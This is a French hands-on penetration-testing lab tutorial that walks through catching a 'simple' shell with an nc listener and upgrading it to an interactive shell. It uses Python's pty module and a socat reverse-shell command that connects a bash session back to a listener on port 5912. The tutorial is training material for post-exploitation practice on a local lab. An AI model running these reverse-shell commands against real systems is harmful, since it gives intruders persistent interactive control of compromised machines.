Mettre à niveau un shell simple vers un shell interactif dans Nmap

Introduction

Dans le domaine des tests de pénétration, accéder à un système cible implique souvent d'obtenir un shell, qui peut être un shell simple ou un shell interactif. Un shell simple est limité en fonctionnalités et manque de capacités interactives, tandis qu'un shell interactif offre un environnement plus robuste et convivial. Ce laboratoire (LabEx) a pour objectif d'explorer les différences entre les shells simples et interactifs, et de vous guider dans le processus de mise à niveau d'un shell simple en un shell interactif.

Skills Graph

Comprendre le shell simple

Dans cette étape, nous allons explorer le concept d'un shell simple et ses limitations. Un shell simple est généralement obtenu grâce à des vulnérabilités d'exécution de commandes à distance ou à d'autres techniques d'exploitation. Bien qu'il vous permette d'exécuter des commandes sur le système cible, il manque plusieurs fonctionnalités essentielles qui peuvent entraver la phase post-exploitation.

Pour commencer, ouvrez une fenêtre de terminal et accédez au répertoire /home/labex/project :
```
cd /home/labex/project
```
Pour simuler le processus d'obtention d'un shell simple sur le système cible, vous devez configurer un écouteur sur le port 5911 en utilisant la commande nc :
```
nc -lnvp 5911
```
Sortie attendue :
```
labex:project/ $ nc -lnvp 5911
listening on [any] 5911...
```
Cette fenêtre de terminal agira comme écouteur pour la connexion du shell simple.
Ouvrez une autre fenêtre de terminal et accédez au répertoire /home/labex/project. Vous devriez voir un fichier exploit.sh dans votre répertoire personnel. Ce fichier simule une exploitation d'exécution de commandes à distance qui peut être utilisée pour obtenir un shell simple sur le système cible.
```
cd /home/labex/project
```
Exécutez le script exploit.sh pour vous connecter à l'écouteur sur le port 5911 et obtenir un shell simple sur le système cible :
```
./exploit.sh
```
Sortie attendue :
```
labex:project/ $./exploit.sh
Simulating attack...
Shell has been rebound, please check the terminal which you listen to the port 5911
```
Ce script se connectera à l'écouteur sur le port 5911 et vous fournira un shell simple sur le système cible.
Revenez à la fenêtre de terminal où vous avez configuré l'écouteur, vous devriez voir une connexion établie avec le système cible.

Exemple de sortie :
```
labex:project/ $ nc -lnvp 5911
listening on [any] 5911...
connect to [127.0.0.1] from (UNKNOWN) [127.0.0.1] 38696
|
```
Vous pouvez vérifier que vous avez obtenu un shell simple en exécutant des commandes telles que whoami et lsb_release -a. Cependant, vous remarquerez que le shell simple manque de certaines fonctionnalités, telles que des invites de commande appropriées, la complétion par tabulation et la capacité à utiliser des commandes interactives comme su ou ssh.

Mise à niveau en un shell interactif avec Python

Une façon de mettre à niveau un shell simple en un shell interactif consiste à utiliser le module pty de Python, qui vous permet de créer un pseudo-terminal (pts).

Tout d'abord, vérifiez si Python est installé sur le système cible en exécutant les commandes suivantes :
```
which python
```
Si Python est disponible, vous pouvez créer un pseudo-terminal en utilisant la commande suivante :
```
python -c 'import pty; pty.spawn("/bin/bash");'
```
Cette commande lancera un nouveau shell interactif avec prise en charge du pseudo-terminal, vous permettant d'exécuter des commandes telles que su et ssh sans problème.

Exemple de sortie :
```
labex:project/ $ python -c 'import pty; pty.spawn("/bin/bash");'
labex@660d6d4be229593d40db954d:~/project$
```
Vous pouvez vérifier que le nouveau shell est un pseudo-terminal en exécutant la commande tty et en redirigeant la sortie vers un fichier :
```
tty > /home/labex/project/shell.txt
```
Vérifiez le contenu du fichier shell.txt pour voir si le shell est un pseudo-terminal (pts).
```
cat /home/labex/project/shell.txt
```
Exemple de sortie :
```
labex@660d6d4be229593d40db954d:~/project$ /home/labex/project/shell.txt
/dev/pts/5
```

Cependant, bien que le pseudo-terminal Python remédie à certaines limitations du shell simple, il manque toujours certaines fonctionnalités telles que la complétion par tabulation, la navigation dans l'historique et la prise en charge appropriée des éditeurs de texte comme vim ou vi.

PS : Vous pouvez vous déconnecter du shell pseudo-terminal en tapant exit ou en appuyant sur Ctrl+D.

Mise à niveau en un shell interactif complet avec Socat

Pour une solution plus complète, nous pouvons utiliser l'utilitaire socat pour obtenir un shell interactif complet avec prise en charge de toutes les fonctionnalités, y compris la complétion par tabulation, la navigation dans l'historique et la compatibilité avec les éditeurs de texte.

Tout d'abord, vérifiez si socat est installé sur le système cible en exécutant la commande suivante :

which socat

Si socat est disponible, suivez ces étapes :

Ouvrez une nouvelle fenêtre de terminal et démarrez un écouteur sur le port 5912 en utilisant la commande socat suivante :
```
socat file:$(tty),raw,echo=0 tcp-listen:5912
```
Attendez que la connexion soit établie.
Dans le shell simple, exécutez la commande suivante pour vous connecter à l'écouteur et mettre à niveau le shell en un shell interactif complet :
```
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:127.0.0.1:5912
```
Revenez à la fenêtre de terminal où vous avez configuré l'écouteur, vous devriez voir une connexion établie avec le système cible. Vous devriez maintenant avoir un shell entièrement interactif avec toutes les fonctionnalités attendues d'une session de terminal normale.

Exemple de sortie :
```
labex:project/ $ socat file:$(tty),raw,echo=0 tcp-listen:5912
labex@660d5d5ee229593d40db9301:~$
```

Testez le nouveau shell interactif en utilisant des commandes telles que cat, ssh, vim et en naviguant dans l'historique des commandes à l'aide des touches fléchées haut et bas.

Résumé

Dans ce laboratoire (LabEx), nous avons exploré le concept des shells simples et interactifs dans le contexte des tests de pénétration. Nous avons appris les limitations des shells simples et l'importance de passer à un shell interactif pour des activités de post-exploitation efficaces. Nous avons abordé deux méthodes pour mettre à niveau un shell simple : l'utilisation du module pty de Python pour créer un pseudo-terminal, et l'utilisation de l'utilitaire socat pour obtenir un shell interactif complet avec toutes les fonctionnalités nécessaires. En pratiquant ces techniques, vous avez acquis des compétences précieuses qui vous aideront dans vos futurs tests de pénétration, vous permettant de surmonter les défis posés par les shells simples et d'optimiser vos efforts de post-exploitation.